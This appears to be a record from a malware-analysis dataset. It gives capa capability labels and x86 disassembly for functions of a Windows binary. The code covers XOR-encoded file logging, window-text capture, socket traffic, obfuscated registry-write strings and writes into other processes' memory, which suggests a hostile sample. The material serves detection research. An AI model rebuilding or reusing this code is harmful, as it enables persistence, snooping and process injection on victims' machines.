joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10016105
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffed8
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.1001517d
or eax, eax
je 0x10016244
mov dword [ebp - 0x128], eax
lea eax, [ebp - 0x104]
push eax
call fcn.10015a95
or eax, eax
jne 0x10016244
lea eax, [ebp - 0x104]
push eax
call fcn.1002fd52
push dword [ebp + 0x10]
push dword [ebp + 0x14]
lea eax, [ebp - 0x118]
push eax
call fcn.10050e22
add esp, 0xc
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x104]
push eax
call fcn.100510f8
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea eax, [ebp - 0x104]
push eax
call fcn.10050fc0
cmp eax, 0xffffffff
je 0x10016244
mov dword [ebp - 0x11c], eax
push 0
push dword [ebp - 0x11c]
call fcn.10050ff6
or eax, eax
je 0x10016239
mov dword [ebp - 0x120], eax
push dword [ebp - 0x120]
push 0
call fcn.1003d03c
mov dword [ebp - 0x124], eax
push 0
lea eax, [ebp - 0x120]
push eax
push dword [ebp - 0x120]
push dword [ebp - 0x124]
push dword [ebp - 0x11c]
call fcn.1005109e
mov esi, dword [ebp - 0x124]
jmp 0x10016228
push esi
push 0xffffffffffffffff
push 0x1a2
push dword [ebp - 0x128]
call fcn.10050f6c
cmp eax, 0xffffffff
jne 0x1001621e
push esi
push 0xffffffffffffffff
push 0x181
push dword [ebp - 0x128]
call fcn.10050f6c
push esi
call fcn.1002f5af
lea esi, [esi + eax + 1]
cmp byte [esi], 0
jne 0x100161f3
lea eax, [ebp - 0x124]
push eax
call fcn.1003d00f
push dword [ebp - 0x11c]
call fcn.10050fb4
pop esi
leave
ret 0x10
Function at 0x10016249
Capabilities:
Create directory
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffed8
push edi
push ebx
push 0xc82
push dword [ebp + 8]
call fcn.1001517d
or eax, eax
je 0x10016427
mov dword [ebp - 0x120], eax
push 0
push 0
push 0x146
push dword [ebp - 0x120]
call fcn.10050f6c
cmp eax, 0xffffffff
je 0x10016427
or eax, eax
je 0x10016427
mov dword [ebp - 0x11c], eax
lea eax, [ebp - 0x104]
push eax
call fcn.10015a95
or eax, eax
jne 0x10016427
lea eax, [ebp - 0x104]
push eax
call fcn.1002fd52
push 0
lea eax, [ebp - 0x104]
push eax
call fcn.10050fba
push dword [ebp + 0xc]
push dword [ebp + 0x10]
lea eax, [ebp - 0x118]
push eax
call fcn.10050e22
add esp, 0xc
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x104]
push eax
call fcn.100510f8
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x104]
push eax
call fcn.10050fc0
cmp eax, 0xffffffff
je 0x10016427
mov dword [ebp - 0x124], eax
xor ebx, ebx
mov edi, dword [0x10052356]
lea eax, [ebp - 0x104]
push eax
push ebx
push 0x148
push dword [ebp - 0x120]
call fcn.10050f6c
cmp eax, 0xffffffff
je 0x10016409
or eax, eax
je 0x10016409
jmp 0x10016352
push 0x10016350
lea eax, [ebp - 0x104]
push eax
call fcn.100510f8
lea eax, [ebp - 0x104]
push eax
call fcn.1002f5af
lea edx, [ebp - 0x104]
lea eax, [edx + eax]
mov edi, dword [0x10052356]
test byte [edi + ebx + 4], 1
je 0x1001638a
mov byte [eax], 0x31
jmp 0x1001638d
mov byte [eax], 0x30
test byte [edi + ebx + 4], 2
je 0x1001639a
mov byte [eax + 1], 0x31
jmp 0x1001639e
mov byte [eax + 1], 0x30
test byte [edi + ebx + 4], 4
je 0x100163ab
mov byte [eax + 2], 0x31
jmp 0x100163af
mov byte [eax + 2], 0x30
test byte [edi + ebx + 4], 8
je 0x100163bc
mov byte [eax + 3], 0x31
jmp 0x100163c0
mov byte [eax + 3], 0x30
test byte [edi + ebx + 4], 0x10
je 0x100163cd
mov byte [eax + 4], 0x31
jmp 0x100163d1
mov byte [eax + 4], 0x30
mov byte [eax + 5], 0xd
mov byte [eax + 6], 0xa
mov byte [eax + 7], 0
add eax, 7
sub eax, edx
mov dword [ebp - 0x128], eax
push 0
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0x128]
lea eax, [ebp - 0x104]
push eax
push dword [ebp - 0x124]
call fcn.100510ec
inc ebx
cmp ebx, dword [ebp - 0x11c]
jb 0x10016325
push dword [ebp - 0x124]
call fcn.10050fb4
pop ebx
pop edi
leave
ret 0xc
lea eax, [ebp - 0x104]
push eax
call fcn.10015a95
or eax, eax
jne 0x10016477
lea eax, [ebp - 0x104]
push eax
call fcn.1002fd52
push dword [ebp + 0xc]
push dword [ebp + 0x10]
lea eax, [ebp - 0x118]
push eax
call fcn.10050e22
add esp, 0xc
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x104]
push eax
call fcn.100510f8
lea eax, [ebp - 0x104]
push eax
call fcn.10050fd2
pop ebx
pop edi
leave
ret 0xc
Function at 0x100167db
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef0
lea eax, [ebp - 0x110]
push eax
call fcn.10015a95
or eax, eax
jne 0x100168a9
lea eax, [ebp - 0x110]
push eax
call fcn.1002fd52
jmp 0x10016813
push 0x10016806
lea eax, [ebp - 0x110]
push eax
call fcn.100510f8
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea eax, [ebp - 0x110]
push eax
call fcn.10050fc0
cmp eax, 0xffffffff
je 0x100168a9
mov dword [ebp - 4], eax
push 0
push dword [ebp - 4]
call fcn.10050ff6
or eax, eax
je 0x100168a1
inc eax
mov dword [ebp - 8], eax
push dword [ebp - 8]
push 0
call fcn.1003d03c
mov dword [ebp - 0xc], eax
push dword [ebp - 8]
push dword [ebp - 0xc]
call fcn.1003062f
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push dword [ebp - 0xc]
push dword [ebp - 4]
call fcn.1005109e
push dword [ebp - 0xc]
push 0x3f1
push dword [ebp + 8]
call fcn.100153ff
lea eax, [ebp - 0xc]
push eax
call fcn.1003d00f
push dword [ebp - 4]
call fcn.10050fb4
leave
ret 4

Function at 0x100168ad
Capabilities:
Create directory
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef0
push 0
push 0
push 0xe
push 0x3f1
push dword [ebp + 8]
call fcn.10015391
or eax, eax
je 0x1001699d
cmp eax, 0xffffffff
je 0x1001699d
inc eax
mov dword [ebp - 8], eax
push dword [ebp - 8]
push 0
call fcn.1003d03c
mov dword [ebp - 0xc], eax
push dword [ebp - 0xc]
push dword [ebp - 8]
push 0xd
push 0x3f1
push dword [ebp + 8]
call fcn.10015391
or eax, eax
je 0x10016994
lea eax, [ebp - 0x110]
push eax
call fcn.10015a95
or eax, eax
jne 0x10016994
lea eax, [ebp - 0x110]
push eax
call fcn.1002fd52
push 0
lea eax, [ebp - 0x110]
push eax
call fcn.10050fba
jmp 0x10016941
push 0x10016934
lea eax, [ebp - 0x110]
push eax
call fcn.100510f8
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x110]
push eax
call fcn.10050fc0
cmp eax, 0xffffffff
je 0x10016994
mov dword [ebp - 4], eax
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push dword [ebp - 0xc]
push dword [ebp - 4]
call fcn.100510ec
push dword [ebp - 4]
call fcn.10050fb4
lea eax, [ebp - 0xc]
push eax
call fcn.1003d00f
leave
ret 4

Function at 0x10016a3a
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push 0
push 0x320
push 0x1006babb
push dword [ebp + 0xc]
call fcn.1005113a
cmp eax, 0x320
jne 0x10016ac8
push 0x320
push 0x1006babb
call fcn.10037b6c
push 0x400
push 0
call fcn.1003d03c
mov dword [ebp - 4], eax
push dword [ebp - 4]
push 0x320
push 0x1006babb
call fcn.100043ae
lea eax, [ebp - 4]
push eax
call fcn.10031241
test byte [0x1006ba0b], 1
je 0x10016ab7
mov byte [0x100525dd], 1
push 0
push 1
push 0x501
push dword [ebp + 8]
call fcn.10050f4e
jmp 0x10016ac8
push 1
push 1
push 0x501
push dword [ebp + 8]
call fcn.10050f4e
xor eax, eax
leave
ret 8
Function at 0x10016bcd
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa4
push 0x3e9
push dword [ebp + 8]
call fcn.10050eac
or eax, eax
je 0x10016d71
mov dword [ebp - 0x50], eax
push 0
push 0
push 0xe
push dword [ebp - 0x50]
call fcn.10050f6c
cmp eax, 0
jle 0x10016d71
inc eax
mov dword [ebp - 0x44], eax
call fcn.10050fea
jmp 0x10016c1c
push eax
push 0x10016c0d
lea eax, [ebp - 0x3c]
push eax
call fcn.10050e22
add esp, 0xc
lea eax, [ebp - 0x3c]
push eax
push dword [ebp - 0x44]
push 0
push 4
push 0
push 0xffffffffffffffff
call fcn.10050fc6
or eax, eax
je 0x10016d71
cmp eax, 0xffffffff
je 0x10016d71
mov dword [ebp - 0x4c], eax
push 0
push 0
push 0
push 2
push dword [ebp - 0x4c]
call fcn.10051074
or eax, eax
je 0x10016d69
cmp eax, 0xffffffff
je 0x10016d69
mov dword [ebp - 0x48], eax
cmp byte [0x100522b3], 0
jne 0x10016c8c
mov dword [ebp - 0x58], 0
jmp 0x10016cc1
cmp dword [0x100522b4], 0
je 0x10016caa
lea eax, [ebp - 0x5c]
push eax
push 0
push 0x434
push dword [ebp - 0x50]
call fcn.10050f6c
jmp 0x10016cc1
push 0
push 0
push 0xb0
push dword [ebp - 0x50]
call fcn.10050f6c
shr eax, 0x10
mov dword [ebp - 0x58], eax
push 0x3c
lea eax, [ebp - 0x3c]
push eax
push 0x3f2
push dword [ebp + 8]
call fcn.10050eb2
or eax, eax
je 0x10016d61
mov dword [ebp - 0x54], eax
push dword [ebp - 0x48]
push dword [ebp - 0x44]
push 0xd
push dword [ebp - 0x50]
call fcn.10050f6c
or eax, eax
je 0x10016d61
push eax
push dword [ebp - 0x48]
push dword [ebp - 0x54]
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x5c]
push eax
push dword [ebp - 0x58]
call fcn.10016b19
cmp eax, 0xffffffff
je 0x10016d5a
cmp dword [0x100522b4], 0
je 0x10016d2d
lea eax, [ebp - 0x5c]
push eax
push 0
push 0x437
push dword [ebp - 0x50]
call fcn.10050f6c
jmp 0x10016d51
push dword [ebp - 0x58]
push dword [ebp - 0x5c]
push 0xb1
push dword [ebp - 0x50]
call fcn.10050f6c
push 0
push 0
push 0xb7
push dword [ebp - 0x50]
call fcn.10050f6c
mov byte [0x100522b3], 1
jmp 0x10016d61
mov byte [0x100522b3], 0
push dword [ebp - 0x48]
call fcn.100510d4
push dword [ebp - 0x4c]
call fcn.10050fb4
leave
ret 4
Function at 0x10016d75
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd0
push dword [ebp + 8]
call fcn.10015a95
or eax, eax
jne 0x10016f58
push dword [ebp + 8]
call fcn.1002fd52
jmp 0x10016d9e
push 0x10016d95
push dword [ebp + 8]
call fcn.100510f8
push 0
push 0x80
push 3
push 0
push 0
push 0x40000000
push dword [ebp + 8]
call fcn.10050fc0
cmp eax, 0xffffffff
jne 0x10016de4
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push dword [ebp + 8]
call fcn.10050fc0
cmp eax, 0xffffffff
je 0x10016f58
mov dword [ebp - 4], eax
push 2
push 0
push 0
push dword [ebp - 4]
call fcn.100510b6
push esi
push edi
lea eax, [ebp - 0x30]
push eax
call fcn.10051002
movzx eax, word [ebp - 0x30]
movzx ecx, word [ebp - 0x2e]
movzx edx, word [ebp - 0x2a]
mov edi, dword [ebp + 8]
jmp 0x10016e2c
push edx
push ecx
push eax
push 0x10016e1a
push edi
call fcn.10050e22
add esp, 0x14
add edi, eax
movzx eax, word [ebp - 0x28]
movzx ecx, word [ebp - 0x26]
movzx edx, word [ebp - 0x24]
jmp 0x10016e60
push edx
push ecx
push eax
push 0x10016e4d
push edi
call fcn.10050e22
add esp, 0x14
mov word [edi + eax], 0xa0d
lea edi, [edi + eax + 2]
mov esi, dword [ebp + 0xc]
movzx ecx, byte [esi - 4]
cld
rep movsb byte es:[edi], byte [esi]
mov dword [edi], 0xa0d0a0d
add edi, 4
mov byte [edi], 0
cmp dword [0x100522af], 0
je 0x10016f29
cmp dword [0x100522b4], 0
je 0x10016ef6
or dword [ebp - 0x18], 0xffffffff
or dword [ebp - 0x14], 0xffffffff
lea eax, [ebp - 0x18]
push eax
push 0
push 0x437
push 0x3e9
push dword [0x100522af]
call fcn.10050f66
mov dword [ebp - 0x10], 2
mov dword [ebp - 0xc], 0
push dword [ebp + 8]
lea eax, [ebp - 0x10]
push eax
push 0x461
push 0x3e9
push dword [0x100522af]
call fcn.10050f66
jmp 0x10016f29
push 0xffffffffffffffff
push 0xffffffffffffffff
push 0xb1
push 0x3e9
push dword [0x100522af]
call fcn.10050f66
push dword [ebp + 8]
push 0
push 0xc2
push 0x3e9
push dword [0x100522af]
call fcn.10050f66
sub edi, dword [ebp + 8]
mov ecx, edi
mov esi, dword [ebp + 8]
jmp 0x10016f38
xor byte [esi], 0x6e
inc esi
dec ecx
or ecx, ecx
jne 0x10016f33
push 0
lea eax, [ebp - 8]
push eax
push edi
push dword [ebp + 8]
push dword [ebp - 4]
call fcn.100510ec
pop edi
pop esi
push dword [ebp - 4]
call fcn.10050fb4
leave
ret 8
Function at 0x10016f5c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, dword [0x1005d8ab]
sub esp, 0x584
push ebx
push ebp
push esi
push edi
mov edi, 0x1005111c
push eax
xor ebx, ebx
xor esi, esi
call edi
dec eax
js 0x10016f98
mov ecx, dword [0x1005d8ab]
jmp 0x10016f87
movzx dx, byte [eax + ecx]
mov word [esp + esi*2 + 0x194], dx
inc esi
dec eax
jns 0x10016f87
mov eax, dword [0x1006b5ca]
mov word [esp + esi*2 + 0x194], bx
push eax
xor esi, esi
call edi
dec eax
js 0x10016fc7
mov ecx, dword [0x1006b5ca]
lea esp, [esp]
movzx dx, byte [eax + ecx]
mov word [esp + esi*2 + 0x394], dx
inc esi
dec eax
jns 0x10016fb6
mov eax, dword [0x10032912]
mov word [esp + esi*2 + 0x394], bx
push eax
xor esi, esi
call fcn.10051116
dec eax
js 0x10016ff3
mov ecx, dword [0x10032912]
mov dl, byte [eax + ecx]
mov byte [esp + esi + 0x94], dl
inc esi
dec eax
jns 0x10016fe5
lea eax, [esp + 0x54]
push eax
lea ecx, [esp + 0x18]
mov byte [esp + esi + 0x98], 0
mov esi, fcn.1005106e
push ecx
mov dword [esp + 0x1c], 0x61766461
mov dword [esp + 0x20], 0x32336970
mov dword [esp + 0x24], 0x6c6c642e
mov dword [esp + 0x28], 0x66
mov dword [esp + 0x3c], 0x53676552
mov dword [esp + 0x40], 0x61567465
mov dword [esp + 0x44], 0x4565756c
mov dword [esp + 0x48], 0x5778
mov dword [esp + 0x5c], 0x43676552
mov dword [esp + 0x60], 0x65736f6c
mov dword [esp + 0x64], 0x79654b
mov dword [esp + 0x7c], 0x4f676552
mov dword [esp + 0x80], 0x4b6e6570
mov dword [esp + 0x84], 0x577965
call esi
mov edi, fcn.10051020
push eax
call edi
lea edx, [esp + 0x34]
mov ebp, eax
push edx
lea eax, [esp + 0x18]
push eax
call esi
push eax
call edi
lea ecx, [esp + 0x74]
push ecx
lea edx, [esp + 0x18]
push edx
mov ebx, eax
call esi
push eax
call edi
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x198]
push edx
push 0x80000002
call eax
mov edx, dword [esp + 0x10]
push 6
lea eax, [esp + 0x98]
push eax
push 1
push 0
lea ecx, [esp + 0x3a4]
push ecx
push edx
call ebx
mov eax, dword [esp + 0x10]
push eax
call ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x584
ret
Function at 0x100170ef
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
lea eax, [ebp - 0x114]
push eax
call fcn.10015a95
or eax, eax
jne 0x100171e0
lea eax, [ebp - 0x114]
push eax
call fcn.1002fd52
jmp 0x10017123
push 0x1001711a
lea eax, [ebp - 0x114]
push eax
call fcn.100510f8
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea eax, [ebp - 0x114]
push eax
call fcn.10050fc0
cmp eax, 0xffffffff
je 0x100171e0
mov dword [ebp - 4], eax
push 0
push dword [ebp - 4]
call fcn.10050ff6
mov dword [ebp - 8], eax
push 0
push 0
push 0
push 8
push 0
push dword [ebp - 4]
call fcn.10050fc6
or eax, eax
je 0x100171d8
cmp eax, 0xffffffff
je 0x100171d8
mov dword [ebp - 0x10], eax
push 0
push 0
push 0
push 1
push dword [ebp - 0x10]
call fcn.10051074
or eax, eax
je 0x100171d0
cmp eax, 0xffffffff
je 0x100171d0
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
jmp 0x100171b2
xor byte [eax], 0x6e
inc eax
dec ecx
or ecx, ecx
jne 0x100171ad
mov byte [eax], cl
push dword [ebp - 0xc]
push 0x3e9
push dword [ebp + 8]
call fcn.10050f7e
push dword [ebp - 0xc]
call fcn.100510d4
push dword [ebp - 0x10]
call fcn.10050fb4
push dword [ebp - 4]
call fcn.10050fb4
leave
ret 4

Function at 0x100171e4
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
lea eax, [ebp - 0x104]
push eax
call fcn.10015a95
or eax, eax
jne 0x10017231
lea eax, [ebp - 0x104]
push eax
call fcn.1002fd52
jmp 0x10017214
push 0x1001720b
lea eax, [ebp - 0x104]
push eax
call fcn.100510f8
lea eax, [ebp - 0x104]
push eax
call fcn.10050fd2
leave
ret
Function at 0x10017233
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb8
push esi
push edi
push ebx
push 0x1005235e
push 0x1005235a
call fcn.1000492b
push 0x78d
push dword [ebp + 8]
call fcn.1001517d
or eax, eax
je 0x10017426
mov dword [ebp - 0x13c], eax
push 0
push 0
push 0x184
push dword [ebp - 0x13c]
call fcn.10050f6c
lea eax, [ebp - 0x104]
push eax
call fcn.10015a95
or eax, eax
jne 0x10017426
lea eax, [ebp - 0x104]
push eax
call fcn.1002fd52
push dword [ebp + 0xc]
push dword [ebp + 0x10]
lea eax, [ebp - 0x136]
push eax
call fcn.10050e22
add esp, 0xc
lea eax, [ebp - 0x136]
push eax
lea eax, [ebp - 0x104]
push eax
call fcn.100510f8
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea eax, [ebp - 0x104]
push eax
call fcn.10050fc0
cmp eax, 0xffffffff
je 0x10017426
mov dword [ebp - 0x140], eax
push 0
push dword [ebp - 0x140]
call fcn.10050ff6
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0
je 0x1001741b
add eax, 0xa
push eax
push pe_nt_image_headers32
call fcn.1003d03c
or eax, eax
je 0x1001741b
mov dword [ebp - 0x148], eax
push 0
lea eax, [ebp - 0x144]
push eax
push dword [ebp - 0x144]
push dword [ebp - 0x148]
push dword [ebp - 0x140]
call fcn.1005109e
cmp dword [ebp - 0x144], 0
je 0x1001740f
mov esi, dword [ebp - 0x148]
lea edi, [ebp - 0x104]
lodsb al, byte [esi]
cmp al, 0xa
je 0x10017375
cmp al, 0xd
je 0x10017375
or al, al
jne 0x10017409
xor al, al
stosb byte es:[edi], al
mov ebx, esi
lea esi, [ebp - 0x104]
lea edi, [ebp - 0x136]
lodsb al, byte [esi]
stosb byte es:[edi], al
or al, al
jne 0x10017386
cmp byte [ebp - 0x136], 0
je 0x100173e2
lea eax, [ebp - 0x136]
push eax
push 0xffffffffffffffff
push 0x1a2
push dword [ebp - 0x13c]
call fcn.10050f6c
cmp eax, 0xffffffff
jne 0x100173e2
lea eax, [ebp - 0x136]
push eax
push 0xffffffffffffffff
push 0x181
push dword [ebp - 0x13c]
call fcn.10050f6c
lea eax, [ebp - 0x136]
push eax
push 0x1005235e
push 0x1005235a
call fcn.10045a2c
mov esi, ebx
cmp byte [esi - 1], 0
je 0x100173ef
cmp byte [esi], 0
jne 0x100173f1
jmp 0x1001740f
jmp 0x100173f4
inc esi
cmp byte [esi], 0xd
je 0x100173f3
cmp byte [esi], 0xa
je 0x100173f3
lea edi, [ebp - 0x104]
jmp 0x10017364
stosb byte es:[edi], al
jmp 0x10017364
lea eax, [ebp - 0x148]
push eax
call fcn.1003d00f
push dword [ebp - 0x140]
call fcn.10050fb4
pop ebx
pop edi
pop esi
leave
ret 0xc
Function at 0x1001742d
Capabilities:
Create directory
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffed8
push edi
push ebx
push 0x78d
push dword [ebp + 8]
call fcn.1001517d
or eax, eax
je 0x10017588
mov dword [ebp - 0x120], eax
push 0
push 0
push 0x18b
push dword [ebp - 0x120]
call fcn.10050f6c
cmp eax, 0xffffffff
je 0x10017588
or eax, eax
je 0x10017588
mov dword [ebp - 0x11c], eax
lea eax, [ebp - 0x104]
push eax
call fcn.10015a95
or eax, eax
jne 0x10017588
lea eax, [ebp - 0x104]
push eax
call fcn.1002fd52
push 0
lea eax, [ebp - 0x104]
push eax
call fcn.10050fba
push dword [ebp + 0xc]
push dword [ebp + 0x10]
lea eax, [ebp - 0x118]
push eax
call fcn.10050e22
add esp, 0xc
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x104]
push eax
call fcn.100510f8
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x104]
push eax
call fcn.10050fc0
cmp eax, 0xffffffff
je 0x10017588
mov dword [ebp - 0x124], eax
xor ebx, ebx
lea eax, [ebp - 0x104]
push eax
push ebx
push 0x189
push dword [ebp - 0x120]
call fcn.10050f6c
cmp eax, 0xffffffff
je 0x1001756e
or eax, eax
je 0x1001756e
lea eax, [ebp - 0x104]
push eax
call fcn.1002f5af
lea edx, [ebp - 0x104]
mov byte [eax + edx], 0xd
mov byte [eax + edx + 1], 0xa
mov byte [eax + edx + 2], 0
add eax, 2
mov dword [ebp - 0x128], eax
push 0
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0x128]
lea eax, [ebp - 0x104]
push eax
push dword [ebp - 0x124]
call fcn.100510ec
inc ebx
cmp ebx, dword [ebp - 0x11c]
jb 0x10017503
push dword [ebp - 0x124]
call fcn.10050fb4
pop ebx
pop edi
leave
ret 0xc
lea eax, [ebp - 0x104]
push eax
call fcn.10015a95
or eax, eax
jne 0x100175d8
lea eax, [ebp - 0x104]
push eax
call fcn.1002fd52
push dword [ebp + 0xc]
push dword [ebp + 0x10]
lea eax, [ebp - 0x118]
push eax
call fcn.10050e22
add esp, 0xc
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x104]
push eax
call fcn.100510f8
lea eax, [ebp - 0x104]
push eax
call fcn.10050fd2
pop ebx
pop edi
leave
ret 0xc
Function at 0x1001b3a6
Capabilities:
Delete file
Move file

Disassembly:
push 4
push 0
push 0x1006b4aa
call fcn.10051086
ret

Function at 0x10023cd6
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff7c
lea eax, [ebp - 0x73]
push eax
call fcn.10030a47
or eax, eax
je 0x10023d85
mov al, byte [0x100525df]
shl al, 4
or al, 7
mov byte [ebp - 0x78], al
mov byte [ebp - 0x4d], 0x78
push dword [0x10052433]
pop dword [ebp - 0x49]
mov dword [ebp - 0x41], 0x12131415
mov al, byte [0x100525de]
mov byte [ebp - 0x3d], al
lea eax, [ebp - 0x3c]
push eax
call fcn.10050da2
push 0x80
lea eax, [ebp - 0x80]
push eax
call fcn.10036067
push 0x80
lea eax, [ebp - 0x80]
push eax
call fcn.10037b6c
push 0x400
push 0
call fcn.1003d03c
mov dword [ebp - 0x84], eax
push dword [ebp - 0x84]
push 0x80
lea eax, [ebp - 0x80]
push eax
call fcn.100043ae
lea eax, [ebp - 0x84]
push eax
call fcn.1003d00f
push 0
push 0x80
lea eax, [ebp - 0x80]
push eax
push dword [ebp + 0xc]
call fcn.10051140
jmp 0x10023d95
push dword [ebp + 0xc]
push 0x502
push dword [ebp + 8]
call fcn.1001d602
xor eax, eax
leave
ret 8

Function at 0x1002ed12
Capabilities:
Encode data using xor
Hash data using crc32b

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push ebx
xor edi, edi
mov esi, dword [ebp + 8]
push 8
push edi
call fcn.10023c6c
mov edx, 8
shl eax, 0x18
mov dword [esi], eax
mov ebx, eax
mov ecx, ebx
mov eax, ecx
and eax, 0x80000000
neg eax
sbb eax, eax
add ecx, ecx
and eax, 0x4c11db7
xor eax, ecx
mov ebx, eax
dec edx
jne 0x1002ed31
mov dword [esi], ebx
push 0x20
push eax
call fcn.10023c6c
mov dword [esi], eax
add esi, 4
inc edi
cmp edi, 0x100
jb 0x1002ed1d
pop ebx
pop edi
pop esi
leave
ret 4

Function at 0x1002ed6b
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push 0
push 1
push 2
call fcn.10051146
cmp eax, 0xffffffff
je 0x1002edca
mov dword [ebp - 4], eax
push 0x10
lea eax, [ebp - 0x14]
push eax
call fcn.1003062f
mov eax, dword [ebp + 0x10]
xchg al, ah
mov word [ebp - 0x12], ax
mov word [ebp - 0x14], 2
push dword [0x10052515]
pop dword [ebp - 0x10]
push 0x33
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call fcn.10051122
push 0x10
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
call fcn.1005112e
mov eax, dword [ebp - 4]
jmp 0x1002edcc
xor eax, eax
leave
ret 0xc
Function at 0x1002ee14
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
cmp dword [0x10052297], 0
jne 0x1002ee2d
call fcn.10050fea
mov dword [0x10052297], eax
cmp dword [0x10052297], 0
je 0x1002eea1
cmp dword [ebp + 8], 0
je 0x1002eea1
cmp dword [ebp + 0xc], 0
je 0x1002eea1
cmp dword [ebp + 0x10], 0
je 0x1002eea1
push dword [0x10052297]
push 0
push 0x1f0fff
call fcn.10051098
or eax, eax
je 0x1002eea1
mov dword [ebp - 8], eax
push 0x1c
lea eax, [ebp - 0x24]
push eax
push dword [ebp + 8]
push dword [ebp - 8]
call fcn.100510e0
lea eax, [ebp - 4]
push eax
push pe_nt_image_headers32
push dword [ebp - 0x18]
push dword [ebp - 0x24]
push dword [ebp - 8]
call fcn.100510da
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 8]
call fcn.100510a4
push dword [ebp - 8]
call fcn.10050fb4
leave
ret 0xc

Function at 0x1002f3db
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
cmp dword [0x10052297], 0
jne 0x1002f3f4
call fcn.10050fea
mov dword [0x10052297], eax
cmp dword [0x10052297], 0
je 0x1002f46d
cmp dword [ebp + 8], 0
je 0x1002f46d
cmp dword [ebp + 0xc], 0
je 0x1002f46d
cmp dword [ebp + 0x10], 0
je 0x1002f46d
push dword [0x10052297]
push 0
push 0x1f0fff
call fcn.10051098
or eax, eax
je 0x1002f46d
mov dword [ebp - 8], eax
push 0x1c
lea eax, [ebp - 0x24]
push eax
push dword [ebp + 8]
push dword [ebp - 8]
call fcn.100510e0
lea eax, [ebp - 4]
push eax
push pe_nt_image_headers32
push dword [ebp - 0x18]
push dword [ebp - 0x24]
push dword [ebp - 8]
call fcn.100510da
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 8]
call fcn.100510f2
call fcn.1003e7fc
push dword [ebp - 8]
call fcn.10050fb4
leave
ret 0xc

Function at 0x1002f471
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
cmp dword [ebp + 8], 0
je 0x1002f4e5
cmp dword [ebp + 0xc], 0
je 0x1002f4e5
cmp dword [ebp + 0x10], 0
je 0x1002f4e5
cmp dword [ebp + 0x14], 0
je 0x1002f4e5
push dword [ebp + 8]
push 0
push 0x1f0fff
call fcn.10051098
or eax, eax
je 0x1002f4e5
mov dword [ebp - 8], eax
push 0x1c
lea eax, [ebp - 0x24]
push eax
push dword [ebp + 0xc]
push dword [ebp - 8]
call fcn.100510e0
lea eax, [ebp - 4]
push eax
push pe_nt_image_headers32
push dword [ebp - 0x18]
push dword [ebp - 0x24]
push dword [ebp - 8]
call fcn.100510da
push 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 8]
call fcn.100510f2
push dword [ebp - 8]
call fcn.10050fb4
leave
ret 0x10